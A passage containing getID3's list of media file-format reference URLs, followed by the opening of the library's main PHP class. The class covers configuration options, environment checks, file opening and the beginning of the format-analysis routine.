* http://www.id3.org/id3v2-00.txt
* http://www.id3.org/mp3frame.html
* http://minnie.tuhs.org/pipermail/mp3encoder/2001-January/001800.html <mathewhendry@hotmail.com>
* http://www.dv.co.yu/mpgscript/mpeghdr.htm
* http://www.mp3-tech.org/programmer/frame_header.html
* http://users.belgacom.net/gc247244/extra/tag.html
* http://gabriel.mp3-tech.org/mp3infotag.html
* http://www.id3.org/iso4217.html
* http://www.unicode.org/Public/MAPPINGS/ISO8859/8859-1.TXT
* http://www.xiph.org/ogg/vorbis/doc/framing.html
* http://www.xiph.org/ogg/vorbis/doc/v-comment.html
* http://leknor.com/code/php/class.ogg.php.txt
* http://www.id3.org/iso639-2.html
* http://www.id3.org/lyrics3.html
* http://www.id3.org/lyrics3200.html
* http://www.psc.edu/general/software/packages/ieee/ieee.html
* http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/ieee-expl.html
* http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/binary.html
* http://www.jmcgowan.com/avi.html
* http://www.wotsit.org/
* http://www.herdsoft.com/ti/davincie/davp3xo2.htm
* http://www.mathdogs.com/vorbis-illuminated/bitstream-appendix.html
* "Standard MIDI File Format" by Dustin Caldwell (from www.wotsit.org)
* http://midistudio.com/Help/GMSpecs_Patches.htm
* http://www.xiph.org/archives/vorbis/200109/0459.html
* http://www.replaygain.org/
* http://www.lossless-audio.com/
* http://download.microsoft.com/download/winmediatech40/Doc/1.0/WIN98MeXP/EN-US/ASF_Specification_v.1.0.exe
* http://mediaxw.sourceforge.net/files/doc/Active%20Streaming%20Format%20(ASF)%201.0%20Specification.pdf
* http://www.uni-jena.de/~pfk/mpp/sv8/ (archived at http://www.hydrogenaudio.org/musepack/klemm/www.personal.uni-jena.de/~pfk/mpp/sv8/)
* http://jfaul.de/atl/
* http://www.uni-jena.de/~pfk/mpp/ (archived at http://www.hydrogenaudio.org/musepack/klemm/www.personal.uni-jena.de/~pfk/mpp/)
* http://www.libpng.org/pub/png/spec/png-1.2-pdg.html
* http://www.real.com/devzone/library/creating/rmsdk/doc/rmff.htm
* http://www.fastgraph.com/help/bmp_os2_header_format.html
* http://netghost.narod.ru/gff/graphics/summary/os2bmp.htm
* http://flac.sourceforge.net/format.html
* http://www.research.att.com/projects/mpegaudio/mpeg2.html
* http://www.audiocoding.com/wiki/index.php?page=AAC
* http://libmpeg.org/mpeg4/doc/w2203tfs.pdf
* http://www.geocities.com/xhelmboyx/quicktime/formats/qtm-layout.txt
* http://developer.apple.com/techpubs/quicktime/qtdevdocs/RM/frameset.htm
* http://www.nullsoft.com/nsv/
* http://www.wotsit.org/download.asp?f=iso9660
* http://sandbox.mc.edu/~bennet/cs110/tc/tctod.html
* http://www.cdroller.com/htm/readdata.html
* http://www.speex.org/manual/node10.html
* http://www.harmony-central.com/Computer/Programming/aiff-file-format.doc
* http://www.faqs.org/rfcs/rfc2361.html
* http://ghido.shelter.ro/
* http://www.ebu.ch/tech_t3285.pdf
* http://www.sr.se/utveckling/tu/bwf
* http://ftp.aessc.org/pub/aes46-2002.pdf
* http://cartchunk.org:8080/
* http://www.broadcastpapers.com/radio/cartchunk01.htm
* http://www.hr/josip/DSP/AudioFile2.html
* http://home.attbi.com/~chris.bagwell/AudioFormats-11.html
* http://www.pure-mac.com/extkey.html
* http://cesnet.dl.sourceforge.net/sourceforge/bonkenc/bonk-binary-format-0.9.txt
* http://www.headbands.com/gspot/
* http://www.openswf.org/spec/SWFfileformat.html
* http://j-faul.virtualave.net/
* http://www.btinternet.com/~AnthonyJ/Atari/programming/avr_format.html
* http://cui.unige.ch/OSG/info/AudioFormats/ap11.html
* http://sswf.sourceforge.net/SWFalexref.html
* http://www.geocities.com/xhelmboyx/quicktime/formats/qti-layout.txt
* http://www-lehre.informatik.uni-osnabrueck.de/~fbstark/diplom/docs/swf/Flash_Uncovered.htm
* http://developer.apple.com/quicktime/icefloe/dispatch012.html
* http://www.csdn.net/Dev/Format/graphics/PCD.htm
* http://tta.iszf.irk.ru/
* http://www.atsc.org/standards/a_52a.pdf
* http://www.alanwood.net/unicode/
* http://www.freelists.org/archives/matroska-devel/07-2003/msg00010.html
* http://www.its.msstate.edu/net/real/reports/config/tags.stats
* http://homepages.slingshot.co.nz/~helmboy/quicktime/formats/qtm-layout.txt
* http://brennan.young.net/Comp/LiveStage/things.html
* http://www.multiweb.cz/twoinches/MP3inside.htm
* http://www.geocities.co.jp/SiliconValley-Oakland/3664/alittle.html#GenreExtended
* http://www.mactech.com/articles/mactech/Vol.06/06.01/SANENormalized/
* http://www.unicode.org/unicode/faq/utf_bom.html
* http://tta.corecodec.org/?menu=format
* http://www.scvi.net/nsvformat.htm
* http://pda.etsi.org/pda/queryform.asp
* http://cpansearch.perl.org/src/RGIBSON/Audio-DSS-0.02/lib/Audio/DSS.pm
* http://trac.musepack.net/trac/wiki/SV8Specification
* http://wyday.com/cuesharp/specification.php
* http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Nikon.html
* http://www.codeproject.com/Articles/8295/MPEG-Audio-Frame-Header
* http://dsd-guide.com/sites/default/files/white-papers/DSFFileFormatSpec_E.pdf
* https://fileformats.fandom.com/wiki/Torrent_file<?php
/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//                                                             //
// Please see readme.txt for more information                  //
//                                                            ///
/////////////////////////////////////////////////////////////////

// define a constant rather than looking up every time it is needed
if (!defined('GETID3_OS_ISWINDOWS')) {
	define('GETID3_OS_ISWINDOWS', (stripos(PHP_OS, 'WIN') === 0));
}
// Get base path of getID3() - ONCE
if (!defined('GETID3_INCLUDEPATH')) {
	define('GETID3_INCLUDEPATH', dirname(__FILE__).DIRECTORY_SEPARATOR);
}
if (!defined('ENT_SUBSTITUTE')) { // PHP5.3 adds ENT_IGNORE, PHP5.4 adds ENT_SUBSTITUTE
	define('ENT_SUBSTITUTE', (defined('ENT_IGNORE') ? ENT_IGNORE : 8));
}

/*
https://www.getid3.org/phpBB3/viewtopic.php?t=2114
If you are running into a the problem where filenames with special characters are being handled
incorrectly by external helper programs (e.g. metaflac), notably with the special characters removed,
and you are passing in the filename in UTF8 (typically via a HTML form), try uncommenting this line:
*/
//setlocale(LC_CTYPE, 'en_US.UTF-8');

// attempt to define temp dir as something flexible but reliable
$temp_dir = ini_get('upload_tmp_dir');
if ($temp_dir && (!is_dir($temp_dir) || !is_readable($temp_dir))) {
	$temp_dir = '';
}
if (!$temp_dir && function_exists('sys_get_temp_dir')) { // sys_get_temp_dir added in PHP v5.2.1
	// sys_get_temp_dir() may give inaccessible temp dir, e.g. with open_basedir on virtual hosts
	$temp_dir = sys_get_temp_dir();
}
$temp_dir = @realpath($temp_dir); // see https://github.com/JamesHeinrich/getID3/pull/10
$open_basedir = ini_get('open_basedir');
if ($open_basedir) {
	// e.g. "/var/www/vhosts/getid3.org/httpdocs/:/tmp/"
	$temp_dir     = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $temp_dir);
	$open_basedir = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $open_basedir);
	if (substr($temp_dir, -1, 1) != DIRECTORY_SEPARATOR) {
		$temp_dir .= DIRECTORY_SEPARATOR;
	}
	$found_valid_tempdir = false;
	$open_basedirs = explode(PATH_SEPARATOR, $open_basedir);
	foreach ($open_basedirs as $basedir) {
		if (substr($basedir, -1, 1) != DIRECTORY_SEPARATOR) {
			$basedir .= DIRECTORY_SEPARATOR;
		}
		if (strpos($temp_dir, $basedir) === 0) {
			$found_valid_tempdir = true;
			break;
		}
	}
	if (!$found_valid_tempdir) {
		$temp_dir = '';
	}
	unset($open_basedirs, $found_valid_tempdir, $basedir);
}
if (!$temp_dir) {
	$temp_dir = '*'; // invalid directory name should force tempnam() to use system default temp dir
}
// $temp_dir = '/something/else/';  // feel free to override temp dir here if it works better for your system
if (!defined('GETID3_TEMP_DIR')) {
	define('GETID3_TEMP_DIR', $temp_dir);
}
unset($open_basedir, $temp_dir);

// End: Defines


class getID3
{
	/*
	 * Settings
	 */

	/**
	 * CASE SENSITIVE! - i.e. (must be supported by iconv()). Examples:  ISO-8859-1  UTF-8  UTF-16  UTF-16BE
	 *
	 * @var string
	 */
	public $encoding        = 'UTF-8';

	/**
	 * Should always be 'ISO-8859-1', but some tags may be written in other encodings such as 'EUC-CN' or 'CP1252'
	 *
	 * @var string
	 */
	public $encoding_id3v1  = 'ISO-8859-1';

	/**
	 * ID3v1 should always be 'ISO-8859-1', but some tags may be written in other encodings such as 'Windows-1251' or 'KOI8-R'. If true attempt to detect these encodings, but may return incorrect values for some tags actually in ISO-8859-1 encoding
	 *
	 * @var bool
	 */
	public $encoding_id3v1_autodetect  = false;

	/*
	 * Optional tag checks - disable for speed.
	 */

	/**
	 * Read and process ID3v1 tags
	 *
	 * @var bool
	 */
	public $option_tag_id3v1         = true;

	/**
	 * Read and process ID3v2 tags
	 *
	 * @var bool
	 */
	public $option_tag_id3v2         = true;

	/**
	 * Read and process Lyrics3 tags
	 *
	 * @var bool
	 */
	public $option_tag_lyrics3       = true;

	/**
	 * Read and process APE tags
	 *
	 * @var bool
	 */
	public $option_tag_apetag        = true;

	/**
	 * Copy tags to root key 'tags' and encode to $this->encoding
	 *
	 * @var bool
	 */
	public $option_tags_process      = true;

	/**
	 * Copy tags to root key 'tags_html' properly translated from various encodings to HTML entities
	 *
	 * @var bool
	 */
	public $option_tags_html         = true;

	/*
	 * Optional tag/comment calculations
	 */

	/**
	 * Calculate additional info such as bitrate, channelmode etc
	 *
	 * @var bool
	 */
	public $option_extra_info        = true;

	/*
	 * Optional handling of embedded attachments (e.g. images)
	 */

	/**
	 * Defaults to true (ATTACHMENTS_INLINE) for backward compatibility
	 *
	 * @var bool|string
	 */
	public $option_save_attachments  = true;

	/*
	 * Optional calculations
	 */

	/**
	 * Get MD5 sum of data part - slow
	 *
	 * @var bool
	 */
	public $option_md5_data          = false;

	/**
	 * Use MD5 of source file if available - only FLAC and OptimFROG
	 *
	 * @var bool
	 */
	public $option_md5_data_source   = false;

	/**
	 * Get SHA1 sum of data part - slow
	 *
	 * @var bool
	 */
	public $option_sha1_data         = false;

	/**
	 * Check whether file is larger than 2GB and thus not supported by 32-bit PHP (null: auto-detect based on
	 * PHP_INT_MAX)
	 *
	 * @var bool|null
	 */
	public $option_max_2gb_check;

	/**
	 * Read buffer size in bytes
	 *
	 * @var int
	 */
	public $option_fread_buffer_size = 32768;



	// module-specific options

	/** archive.rar
	 * if true use PHP RarArchive extension, if false (non-extension parsing not yet written in getID3)
	 *
	 * @var bool
	 */
	public $options_archive_rar_use_php_rar_extension = true;

	/** archive.gzip
	 * Optional file list - disable for speed.
	 * Decode gzipped files, if possible, and parse recursively (.tar.gz for example).
	 *
	 * @var bool
	 */
	public $options_archive_gzip_parse_contents = false;

	/** audio.midi
	 * if false only parse most basic information, much faster for some files but may be inaccurate
	 *
	 * @var bool
	 */
	public $options_audio_midi_scanwholefile = true;

	/** audio.mp3
	 * Forces getID3() to scan the file byte-by-byte and log all the valid audio frame headers - extremely slow,
	 * unrecommended, but may provide data from otherwise-unusable files.
	 *
	 * @var bool
	 */
	public $options_audio_mp3_allow_bruteforce = false;

	/** audio.mp3
	 * number of frames to scan to determine if MPEG-audio sequence is valid
	 * Lower this number to 5-20 for faster scanning
	 * Increase this number to 50+ for most accurate detection of valid VBR/CBR mpeg-audio streams
	 *
	 * @var int
	 */
	public $options_audio_mp3_mp3_valid_check_frames = 50;

	/** audio.wavpack
	 * Avoid scanning all frames (break after finding ID_RIFF_HEADER and ID_CONFIG_BLOCK,
	 * significantly faster for very large files but other data may be missed
	 *
	 * @var bool
	 */
	public $options_audio_wavpack_quick_parsing = false;

	/** audio-video.flv
	 * Break out of the loop if too many frames have been scanned; only scan this
	 * many if meta frame does not contain useful duration.
	 *
	 * @var int
	 */
	public $options_audiovideo_flv_max_frames = 100000;

	/** audio-video.matroska
	 * If true, do not return information about CLUSTER chunks, since there's a lot of them
	 * and they're not usually useful [default: TRUE].
	 *
	 * @var bool
	 */
	public $options_audiovideo_matroska_hide_clusters    = true;

	/** audio-video.matroska
	 * True to parse the whole file, not only header [default: FALSE].
	 *
	 * @var bool
	 */
	public $options_audiovideo_matroska_parse_whole_file = false;

	/** audio-video.quicktime
	 * return all parsed data from all atoms if true, otherwise just returned parsed metadata
	 *
	 * @var bool
	 */
	public $options_audiovideo_quicktime_ReturnAtomData  = false;

	/** audio-video.quicktime
	 * return all parsed data from all atoms if true, otherwise just returned parsed metadata
	 *
	 * @var bool
	 */
	public $options_audiovideo_quicktime_ParseAllPossibleAtoms = false;

	/** audio-video.swf
	 * return all parsed tags if true, otherwise do not return tags not parsed by getID3
	 *
	 * @var bool
	 */
	public $options_audiovideo_swf_ReturnAllTagData = false;

	/** graphic.bmp
	 * return BMP palette
	 *
	 * @var bool
	 */
	public $options_graphic_bmp_ExtractPalette = false;

	/** graphic.bmp
	 * return image data
	 *
	 * @var bool
	 */
	public $options_graphic_bmp_ExtractData    = false;

	/** graphic.png
	 * If data chunk is larger than this do not read it completely (getID3 only needs the first
	 * few dozen bytes for parsing).
	 *
	 * @var int
	 */
	public $options_graphic_png_max_data_bytes = 10000000;

	/** misc.pdf
	 * return full details of PDF Cross-Reference Table (XREF)
	 *
	 * @var bool
	 */
	public $options_misc_pdf_returnXREF = false;

	/** misc.torrent
	 * Assume all .torrent files are less than 1MB and just read entire thing into memory for easy processing.
	 * Override this value if you need to process files larger than 1MB
	 *
	 * @var int
	 */
	public $options_misc_torrent_max_torrent_filesize = 1048576;



	// Public variables

	/**
	 * Filename of file being analysed.
	 *
	 * @var string
	 */
	public $filename;

	/**
	 * Filepointer to file being analysed.
	 *
	 * @var resource
	 */
	public $fp;

	/**
	 * Result array.
	 *
	 * @var array
	 */
	public $info;

	/**
	 * @var string
	 */
	public $tempdir = GETID3_TEMP_DIR;

	/**
	 * @var int
	 */
	public $memory_limit = 0;

	/**
	 * @var string
	 */
	protected $startup_error   = '';

	/**
	 * @var string
	 */
	protected $startup_warning = '';

	const VERSION           = '1.9.23-202310190849';
	const FREAD_BUFFER_SIZE = 32768;

	const ATTACHMENTS_NONE   = false;
	const ATTACHMENTS_INLINE = true;

	/**
	 * @throws getid3_exception
	 */
	public function __construct() {

		// Check for PHP version
		$required_php_version = '5.3.0';
		if (version_compare(PHP_VERSION, $required_php_version, '<')) {
			$this->startup_error .= 'getID3() requires PHP v'.$required_php_version.' or higher - you are running v'.PHP_VERSION."\n";
			return;
		}

		// Check memory
		$memoryLimit = ini_get('memory_limit');
		if (preg_match('#([0-9]+) ?M#i', $memoryLimit, $matches)) {
			// could be stored as "16M" rather than 16777216 for example
			$memoryLimit = $matches[1] * 1048576;
		} elseif (preg_match('#([0-9]+) ?G#i', $memoryLimit, $matches)) { // The 'G' modifier is available since PHP 5.1.0
			// could be stored as "2G" rather than 2147483648 for example
			$memoryLimit = $matches[1] * 1073741824;
		}
		$this->memory_limit = $memoryLimit;

		if ($this->memory_limit <= 0) {
			// memory limits probably disabled
		} elseif ($this->memory_limit <= 4194304) {
			$this->startup_error .= 'PHP has less than 4MB available memory and will very likely run out. Increase memory_limit in php.ini'."\n";
		} elseif ($this->memory_limit <= 12582912) {
			$this->startup_warning .= 'PHP has less than 12MB available memory and might run out if all modules are loaded. Increase memory_limit in php.ini'."\n";
		}

		// Check safe_mode off
		if (preg_match('#(1|ON)#i', ini_get('safe_mode'))) { // phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.safe_modeDeprecatedRemoved
			$this->warning('WARNING: Safe mode is on, shorten support disabled, md5data/sha1data for ogg vorbis disabled, ogg vorbos/flac tag writing disabled.');
		}

		// phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.mbstring_func_overloadDeprecated
		if (($mbstring_func_overload = (int) ini_get('mbstring.func_overload')) && ($mbstring_func_overload & 0x02)) {
			// http://php.net/manual/en/mbstring.overload.php
			// "mbstring.func_overload in php.ini is a positive value that represents a combination of bitmasks specifying the categories of functions to be overloaded. It should be set to 1 to overload the mail() function. 2 for string functions, 4 for regular expression functions"
			// getID3 cannot run when string functions are overloaded. It doesn't matter if mail() or ereg* functions are overloaded since getID3 does not use those.
			// phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.mbstring_func_overloadDeprecated
			$this->startup_error .= 'WARNING: php.ini contains "mbstring.func_overload = '.ini_get('mbstring.func_overload').'", getID3 cannot run with this setting (bitmask 2 (string functions) cannot be set). Recommended to disable entirely.'."\n";
		}

		// check for magic quotes in PHP < 5.4.0 (when these options were removed and getters always return false)
		if (version_compare(PHP_VERSION, '5.4.0', '<')) {
			// Check for magic_quotes_runtime
			if (function_exists('get_magic_quotes_runtime')) {
				// phpcs:ignore PHPCompatibility.FunctionUse.RemovedFunctions.get_magic_quotes_runtimeDeprecated
				if (get_magic_quotes_runtime()) { // @phpstan-ignore-line
					$this->startup_error .= 'magic_quotes_runtime must be disabled before running getID3(). Surround getid3 block by set_magic_quotes_runtime(0) and set_magic_quotes_runtime(1).'."\n";
				}
			}
			// Check for magic_quotes_gpc
			if (function_exists('get_magic_quotes_gpc')) {
				// phpcs:ignore PHPCompatibility.FunctionUse.RemovedFunctions.get_magic_quotes_gpcDeprecated
				if (get_magic_quotes_gpc()) { // @phpstan-ignore-line
					$this->startup_error .= 'magic_quotes_gpc must be disabled before running getID3(). Surround getid3 block by set_magic_quotes_gpc(0) and set_magic_quotes_gpc(1).'."\n";
				}
			}
		}

		// Load support library
		if (!include_once(GETID3_INCLUDEPATH.'getid3.lib.php')) {
			$this->startup_error .= 'getid3.lib.php is missing or corrupt'."\n";
		}

		if ($this->option_max_2gb_check === null) {
			$this->option_max_2gb_check = (PHP_INT_MAX <= 2147483647);
		}


		// Needed for Windows only:
		// Define locations of helper applications for Shorten, VorbisComment, MetaFLAC
		//   as well as other helper functions such as head, etc
		// This path cannot contain spaces, but the below code will attempt to get the
		//   8.3-equivalent path automatically
		// IMPORTANT: This path must include the trailing slash
		if (GETID3_OS_ISWINDOWS && !defined('GETID3_HELPERAPPSDIR')) {

			$helperappsdir = GETID3_INCLUDEPATH.'..'.DIRECTORY_SEPARATOR.'helperapps'; // must not have any space in this path

			if (!is_dir($helperappsdir)) {
				$this->startup_warning .= '"'.$helperappsdir.'" cannot be defined as GETID3_HELPERAPPSDIR because it does not exist'."\n";
			} elseif (strpos(realpath($helperappsdir), ' ') !== false) {
				$DirPieces = explode(DIRECTORY_SEPARATOR, realpath($helperappsdir));
				$path_so_far = array();
				foreach ($DirPieces as $key => $value) {
					if (strpos($value, ' ') !== false) {
						if (!empty($path_so_far)) {
							$commandline = 'dir /x '.escapeshellarg(implode(DIRECTORY_SEPARATOR, $path_so_far));
							$dir_listing = `$commandline`;
							$lines = explode("\n", $dir_listing);
							foreach ($lines as $line) {
								$line = trim($line);
								if (preg_match('#^([0-9/]{10}) +([0-9:]{4,5}( [AP]M)?) +(<DIR>|[0-9,]+) +([^ ]{0,11}) +(.+)$#', $line, $matches)) {
									list($dummy, $date, $time, $ampm, $filesize, $shortname, $filename) = $matches;
									if ((strtoupper($filesize) == '<DIR>') && (strtolower($filename) == strtolower($value))) {
										$value = $shortname;
									}
								}
							}
						} else {
							$this->startup_warning .= 'GETID3_HELPERAPPSDIR must not have any spaces in it - use 8dot3 naming convention if neccesary. You can run "dir /x" from the commandline to see the correct 8.3-style names.'."\n";
						}
					}
					$path_so_far[] = $value;
				}
				$helperappsdir = implode(DIRECTORY_SEPARATOR, $path_so_far);
			}
			define('GETID3_HELPERAPPSDIR', $helperappsdir.DIRECTORY_SEPARATOR);
		}

		if (!empty($this->startup_error)) {
			echo $this->startup_error;
			throw new getid3_exception($this->startup_error);
		}
	}

	/**
	 * @return string
	 */
	public function version() {
		return self::VERSION;
	}

	/**
	 * @return int
	 */
	public function fread_buffer_size() {
		return $this->option_fread_buffer_size;
	}

	/**
	 * @param array $optArray
	 *
	 * @return bool
	 */
	public function setOption($optArray) {
		if (!is_array($optArray) || empty($optArray)) {
			return false;
		}
		foreach ($optArray as $opt => $val) {
			if (isset($this->$opt) === false) {
				continue;
			}
			$this->$opt = $val;
		}
		return true;
	}

	/**
	 * @param string   $filename
	 * @param int      $filesize
	 * @param resource $fp
	 *
	 * @return bool
	 *
	 * @throws getid3_exception
	 */
	public function openfile($filename, $filesize=null, $fp=null) {
		try {
			if (!empty($this->startup_error)) {
				throw new getid3_exception($this->startup_error);
			}
			if (!empty($this->startup_warning)) {
				foreach (explode("\n", $this->startup_warning) as $startup_warning) {
					$this->warning($startup_warning);
				}
			}

			// init result array and set parameters
			$this->filename = $filename;
			$this->info = array();
			$this->info['GETID3_VERSION']   = $this->version();
			$this->info['php_memory_limit'] = (($this->memory_limit > 0) ? $this->memory_limit : false);

			// remote files not supported
			if (preg_match('#^(ht|f)tps?://#', $filename)) {
				throw new getid3_exception('Remote files are not supported - please copy the file locally first');
			}

			$filename = str_replace('/', DIRECTORY_SEPARATOR, $filename);
			//$filename = preg_replace('#(?<!gs:)('.preg_quote(DIRECTORY_SEPARATOR).'{2,})#', DIRECTORY_SEPARATOR, $filename);

			// open local file
			//if (is_readable($filename) && is_file($filename) && ($this->fp = fopen($filename, 'rb'))) { // see https://www.getid3.org/phpBB3/viewtopic.php?t=1720
			if (($fp != null) && ((get_resource_type($fp) == 'file') || (get_resource_type($fp) == 'stream'))) {
				$this->fp = $fp;
			} elseif ((is_readable($filename) || file_exists($filename)) && is_file($filename) && ($this->fp = fopen($filename, 'rb'))) {
				// great
			} else {
				$errormessagelist = array();
				if (!is_readable($filename)) {
					$errormessagelist[] = '!is_readable';
				}
				if (!is_file($filename)) {
					$errormessagelist[] = '!is_file';
				}
				if (!file_exists($filename)) {
					$errormessagelist[] = '!file_exists';
				}
				if (empty($errormessagelist)) {
					$errormessagelist[] = 'fopen failed';
				}
				throw new getid3_exception('Could not open "'.$filename.'" ('.implode('; ', $errormessagelist).')');
			}

			$this->info['filesize'] = (!is_null($filesize) ? $filesize : filesize($filename));
			// set redundant parameters - might be needed in some include file
			// filenames / filepaths in getID3 are always expressed with forward slashes (unix-style) for both Windows and other to try and minimize confusion
			$filename = str_replace('\\', '/', $filename);
			$this->info['filepath']     = str_replace('\\', '/', realpath(dirname($filename)));
			$this->info['filename']     = getid3_lib::mb_basename($filename);
			$this->info['filenamepath'] = $this->info['filepath'].'/'.$this->info['filename'];

			// set more parameters
			$this->info['avdataoffset']        = 0;
			$this->info['avdataend']           = $this->info['filesize'];
			$this->info['fileformat']          = '';                // filled in later
			$this->info['audio']['dataformat'] = '';                // filled in later, unset if not used
			$this->info['video']['dataformat'] = '';                // filled in later, unset if not used
			$this->info['tags']                = array();           // filled in later, unset if not used
			$this->info['error']               = array();           // filled in later, unset if not used
			$this->info['warning']             = array();           // filled in later, unset if not used
			$this->info['comments']            = array();           // filled in later, unset if not used
			$this->info['encoding']            = $this->encoding;   // required by id3v2 and iso modules - can be unset at the end if desired

			// option_max_2gb_check
			if ($this->option_max_2gb_check) {
				// PHP (32-bit all, and 64-bit Windows) doesn't support integers larger than 2^31 (~2GB)
				// filesize() simply returns (filesize % (pow(2, 32)), no matter the actual filesize
				// ftell() returns 0 if seeking to the end is beyond the range of unsigned integer
				$fseek = fseek($this->fp, 0, SEEK_END);
				if (($fseek < 0) || (($this->info['filesize'] != 0) && (ftell($this->fp) == 0)) ||
					($this->info['filesize'] < 0) ||
					(ftell($this->fp) < 0)) {
						$real_filesize = getid3_lib::getFileSizeSyscall($this->info['filenamepath']);

						if ($real_filesize === false) {
							unset($this->info['filesize']);
							fclose($this->fp);
							throw new getid3_exception('Unable to determine actual filesize. File is most likely larger than '.round(PHP_INT_MAX / 1073741824).'GB and is not supported by PHP.');
						} elseif (getid3_lib::intValueSupported($real_filesize)) {
							unset($this->info['filesize']);
							fclose($this->fp);
							throw new getid3_exception('PHP seems to think the file is larger than '.round(PHP_INT_MAX / 1073741824).'GB, but filesystem reports it as '.number_format($real_filesize / 1073741824, 3).'GB, please report to info@getid3.org');
						}
						$this->info['filesize'] = $real_filesize;
						$this->warning('File is larger than '.round(PHP_INT_MAX / 1073741824).'GB (filesystem reports it as '.number_format($real_filesize / 1073741824, 3).'GB) and is not properly supported by PHP.');
				}
			}

			return true;

		} catch (Exception $e) {
			$this->error($e->getMessage());
		}
		return false;
	}

	/**
	 * analyze file
	 *
	 * @param string   $filename
	 * @param int      $filesize
	 * @param string   $original_filename
	 * @param resource $fp
	 *
	 * @return array
	 */
	public function analyze($filename, $filesize=null, $original_filename='', $fp=null) {
		try {
			if (!$this->openfile($filename, $filesize, $fp)) {
				return $this->info;
			}

			// Handle tags
			foreach (array('id3v2'=>'id3v2', 'id3v1'=>'id3v1', 'apetag'=>'ape', 'lyrics3'=>'lyrics3') as $tag_name => $tag_key) {
				$option_tag = 'option_tag_'.$tag_name;
				if ($this->$option_tag) {
					$this->include_module('tag.'.$tag_name);
					try {
						$tag_class = 'getid3_'.$tag_name;
						$tag = new $tag_class($this);
						$tag->Analyze();
					}
					catch (getid3_exception $e) {
						throw $e;
					}
				}
			}
			if (isset($this->info['id3v2']['tag_offset_start'])) {
				$this->info['avdataoffset'] = max($this->info['avdataoffset'], $this->info['id3v2']['tag_offset_end']);
			}
			foreach (array('id3v1'=>'id3v1', 'apetag'=>'ape', 'lyrics3'=>'lyrics3') as $tag_name => $tag_key) {
				if (isset($this->info[$tag_key]['tag_offset_start'])) {
					$this->info['avdataend'] = min($this->info['avdataend'], $this->info[$tag_key]['tag_offset_start']);
				}
			}

			// ID3v2 detection (NOT parsing), even if ($this->option_tag_id3v2 == false) done to make fileformat easier
			if (!$this->option_tag_id3v2) {
				fseek($this->fp, 0);
				$header = fread($this->fp, 10);
				if ((substr($header, 0, 3) == 'ID3') && (strlen($header) == 10)) {
					$this->info['id3v2']['header']        = true;
					$this->info['id3v2']['majorversion']  = ord($header[3]);
					$this->info['id3v2']['minorversion']  = ord($header[4]);
					$this->info['avdataoffset']          += getid3_lib::BigEndian2Int(substr($header, 6, 4), 1) + 10; // length of ID3v2 tag in 10-byte header doesn't include 10-byte header length
				}
			}

			// read 32 kb file data
			fseek($this->fp, $this->info['avdataoffset']);
			$formattest = fread($this->fp, 32774);

			// determine format
			$determined_format = $this->GetFileFormat($formattest, ($original_filename ? $original_filename : $filename));

			// unable to determine file format
			if (!$determined_format) {
				fclose($this->fp);
				return $this->error('unable to determine file format');
			}

			// check for illegal ID3 tags
			if (isset($determined_format['fail_id3']) && (in_array('id3v1', $this->info['tags']) || in_array('id3v2', $this->info['tags']))) {
				if ($determined_format['fail_id3'] === 'ERROR') {
					fclose($this->fp);
					return $this->error('ID3 tags not allowed on this file type.');
				} elseif ($determined_format['fail_id3'] === 'WARNING') {
					$this->warning('ID3 tags not allowed on this file type.');
				}
			}

			// check for illegal APE tags
			if (isset($determined_format['fail_ape']) && in_array('ape', $this->info['tags'])) {
				if ($determined_format['fail_ape'] === 'ERROR') {
					fclose($this->fp);
					return $this->error('APE tags not allowed on this file type.');
				} elseif ($determined_format['fail_ape'] === 'WARNING') {
					$this->warning('APE tags not allowed on this file type.');
				}
			}

			// set mime type
			$this->info['mime_type'] = $determined_format['mime_type'];

			// supported format signature pattern detected, but module deleted
			if (!file_exists(GETID3_INCLUDEPATH.$determined_format['include'])) {
				fclose($this->fp);
				return $this->error('Format not supported, module "'.$determined_format['include'].'" was removed.');
			}

			// module requires mb_convert_encoding/iconv support
			// Check encoding/iconv support
			if (!empty($determined_format['iconv_req']) && !function_exists('mb_convert_encoding') && !function_exists('iconv') && !in_array($this->encoding, array('ISO-8859-1', 'UTF-8', 'UTF-16LE', 'UTF-16BE', 'UTF-16'))) {
				$errormessage = 'mb_convert_encoding() or iconv() support is required for this module ('.$determined_format['include'].') for encodings other than ISO-8859-1, UTF-8, UTF-16LE, UTF16-BE, UTF-16. ';
				if (GETID3_OS_ISWINDOWS) {
					$errormessage .= 'PHP does not have mb_convert_encoding() or iconv() support. Please enable php_mbstring.dll / php_iconv.dll in php.ini, and copy php_mbstring.dll / iconv.dll from c:/php/dlls to c:/windows/system32';
				} else {
					$errormessage .= 'PHP is not compiled with mb_convert_encoding() or iconv() support. Please recompile with the --enable-mbstring / --with-iconv switch';
				}
				return $this->error($errormessage);
			}

			// include module
			include_once(GETID3_INCLUDEPATH.$determined_format['include']);

			// instantiate module class
			$class_name = 'getid3_'.$determined_format['module'];
			if (!class_exists($class_name)) {
				return $this->error('Format not supported, module "'.$determined_format['include'].'" is corrupt.');
			}
			$class = new $class_name($this);

			// set module-specific options
			foreach (get_object_vars($this) as $getid3_object_vars_key => $getid3_object_vars_value) {
				if (preg_match('#^options_([^_]+)_([^_]+)_(.+)$#i', $getid3_object_vars_key, $matches)) {
					list($dummy, $GOVgroup, $GOVmodule, $GOVsetting) = $matches;
					$GOVgroup = (($GOVgroup == 'audiovideo') ? 'audio-video' : $GOVgroup); // variable names can only contain 0-9a-z_ so standardize here
					if (($GOVgroup == $determined_format['group']) && ($GOVmodule == $determined_format['module'])) {
						$class->$GOVsetting = $getid3_object_vars_value;
					}
				}
			}

			$class->Analyze();
			unset($class);

			// close file
			fclose($this->fp);

			// process all tags - copy to 'tags' and convert charsets
			if ($this->option_tags_process) {
				$this->HandleAllTags();
			}

			// perform more calculations
			if ($this->option_extra_info) {
				$this->ChannelsBitratePlaytimeCalculations();
				$this->CalculateCompressionRatioVideo();
				$this->CalculateCompressionRatioAudio();
				$this->CalculateReplayGain();
				$this->ProcessAudioStreams();
			}

